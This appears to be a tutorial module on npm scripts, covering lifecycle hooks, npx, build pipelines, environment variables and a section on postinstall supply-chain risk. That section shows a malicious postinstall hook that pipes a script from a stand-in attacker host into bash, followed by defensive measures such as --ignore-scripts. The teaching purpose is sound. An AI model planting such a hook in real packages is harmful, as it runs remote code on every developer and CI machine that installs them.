mod_05 - npm Scripts¶
Table of Contents¶
- running scripts
- pre and post hooks
- common script patterns
- npx - one-off package execution
- scripts as build pipeline
- environment variables
- security: postinstall RCE
- summary
- prerequisites
npm scripts are the most underrated build tool in the Node ecosystem
Everyone reaches for Gulp, Grunt, or some JS config file when npm scripts can already handle 90% of what you need - no plugins , no complex configuration , no build dependencies. It's just shell commands. And they're already available in every Node project because npm ships with Node
running scripts¶
All scripts run via npm run <script-name>
npm run test # runs the "test" script
npm run build # runs the "build" script
npm run lint # runs the "lint" script
A few scripts have aliases: * npm start instead of npm run start * npm test instead of npm run test * npm stop instead of npm run stop * npm restart instead of npm run restart (actually runs stop + start + restart)
{
"scripts": {
"start": "node server.js",
"test": "jest",
"build": "next build"
}
}
pre and post hooks¶
npm automatically runs pre and post scripts around matching script names
{
"scripts": {
"prebuild": "rimraf dist/",
"build": "tsc",
"postbuild": "cp package.json dist/ && cp README.md dist/",
"pretest": "eslint .",
"test": "jest",
"posttest": "npm run build"
}
}
When you run npm run build, npm executes: 1. prebuild - clean the dist folder 2. build - compile TypeScript 3. postbuild - copy additional files
These hooks apply to any script, including lifecycle scripts:
{
"scripts": {
"preinstall": "node scripts/check-engine.js",
"postinstall": "node scripts/generate-assets.js",
"prepublishOnly": "npm test && npm run build"
}
}
Important: postinstall runs every time someone installs your package - not just development. If postinstall fails , the install fails. Use it sparingly for critical setup like compiling native addons or downloading platform-specific binaries. Don't use it for linting or testing (that's what prepublishOnly is for)
common script patterns¶
{
"scripts": {
"dev": "node --watch server.js",
"start": "NODE_ENV=production node server.js",
"test": "jest --coverage --verbose",
"test:watch": "jest --watch",
"test:ci": "jest --ci --coverage --maxWorkers=2",
"lint": "eslint .",
"lint:fix": "eslint . --fix",
"format": "prettier --write 'src/**/*.{js,ts,json}'",
"typecheck": "tsc --noEmit",
"build": "tsc && npm run build:assets",
"build:assets": "cp -r public/* dist/",
"clean": "rimraf dist/ coverage/ .nyc_output/",
"validate": "npm run lint && npm run typecheck && npm run test && npm run build",
"audit": "npm audit && npm outdated",
"ci": "npm ci && npm run validate"
}
}
The validate pipeline¶
A single validate script that runs everything - useful for CI and pre-commit hooks
npm run validate
# runs: lint -> typecheck -> test -> build
# if any step fails, the chain stops
In CI:
{
"scripts": {
"ci:all": "npm ci && npm run validate && npm run audit"
}
}
Cross-platform scripts¶
Shell commands don't work the same on Windows and Linux. NODE_ENV=production is Unix-only. Use packages like cross-env for compatibility:
npm install --save-dev cross-env
{
"scripts": {
"start": "cross-env NODE_ENV=production node server.js",
"dev": "cross-env NODE_ENV=development node --watch server.js"
}
}
rimraf (instead of rm -rf) and copyfiles (instead of cp -r) also work cross-platform
npx - one-off package execution¶
npx ships with npm and runs packages without installing them globally
# Instead of:
npm install -g create-react-app
create-react-app my-app
# Use:
npx create-react-app my-app
# Run a specific version of a tool
npx eslint@8.0.0 . --fix
# Run a package from the project's node_modules
npx jest --coverage
# Execute a GitHub gist
# npx github:user/repo
npx first checks if the command exists in node_modules/.bin/. If not, it downloads the package, runs it , and discards it. This is the cleanest way to use CLI tools without polluting your global npm state
When to use npx vs npm scripts¶
{
"scripts": {
"lint": "eslint .",
"test": "jest"
}
}
In a script , eslint and jest resolve from node_modules/.bin/ automatically - no need for npx. Use npx for: * One-time runs of CLI generators (create-react-app , create-next-app) * Trying packages without installing them * Running a different version than what's in your project
scripts as build pipeline¶
Chain scripts with && (stop on failure) or ; (continue on failure)
{
"scripts": {
"build": "tsc && npm run build:minify && npm run build:hash",
"build:minify": "esbuild dist/index.js --minify --outfile=dist/index.min.js",
"build:hash": "node scripts/generate-hash.js",
"deploy": "npm run validate && npm run build && npm run deploy:upload",
"deploy:upload": "node scripts/deploy.js",
"hotfix": "npm run build && npm run test && npm run deploy"
}
}
The && vs ; distinction matters in CI. If a step fails with &&, the chain stops and the script exits with an error - the expected behavior for most pipelines. If a step fails with ;, the next step runs anyway - useful for linting where you want all results , not just the first failure
environment variables¶
npm scripts inherit environment variables from the shell. You can also set them inline
# Unix inline env variables
NODE_ENV=production npm run build
# Windows - use cross-env
cross-env NODE_ENV=production npm run build
npm also injects some variables: * npm_package_name - the name field from package.json * npm_package_version - the version field * npm_lifecycle_event - the current script name (test, build, etc.) * npm_config_* - npm config values
{
"scripts": {
"version:log": "echo \"Building $npm_package_name v$npm_package_version\""
}
}
These aren't shell environment variables in the usual sense - they're npm passing package.json fields through. Useful for custom build scripts
security: postinstall RCE¶
postinstall scripts run arbitrary code when npm install executes
This is the most common supply chain attack vector in npm. A malicious package can postinstall to:
{
"scripts": {
"postinstall": "curl http://attacker.com/$(hostname) | bash"
}
}
This runs on every developer's machine and CI server that installs the package
Protection mechanisms:
# Run npm install without executing scripts
npm install --ignore-scripts
# Set globally (add to .npmrc)
ignore-scripts=true
# Audit installed packages for postinstall hooks
npm query ":attr(scripts, [postinstall])"
# List all packages with install scripts
npm ls --all --json | grep -A 1 'install\\|postinstall'
Production hardening: * Add ignore-scripts=true to your project's .npmrc for production installs * Only run scripts when you trust the package (npm install with --ignore-scripts , then manually review) * Use npm audit to check for known malicious packages * Review postinstall scripts in package-lock.json before upgrading
summary¶
- Scripts are shell commands - use
&&for chaining ,;for continuation preandposthooks run automatically around matching script names- Use
cross-envfor cross-platform environment variables npxruns packages without global install - use it for CLI generators and tools- Scripts resolve
node_modules/.bin/automatically - no need for full paths postinstallscripts are the primary supply chain attack vector - use--ignore-scriptsin productionnpm_lifecycle_eventvariable tells you which script is currently running
prerequisites¶
mod_04_package_json - package.json fields and structure
next -> mod_06_manage_dep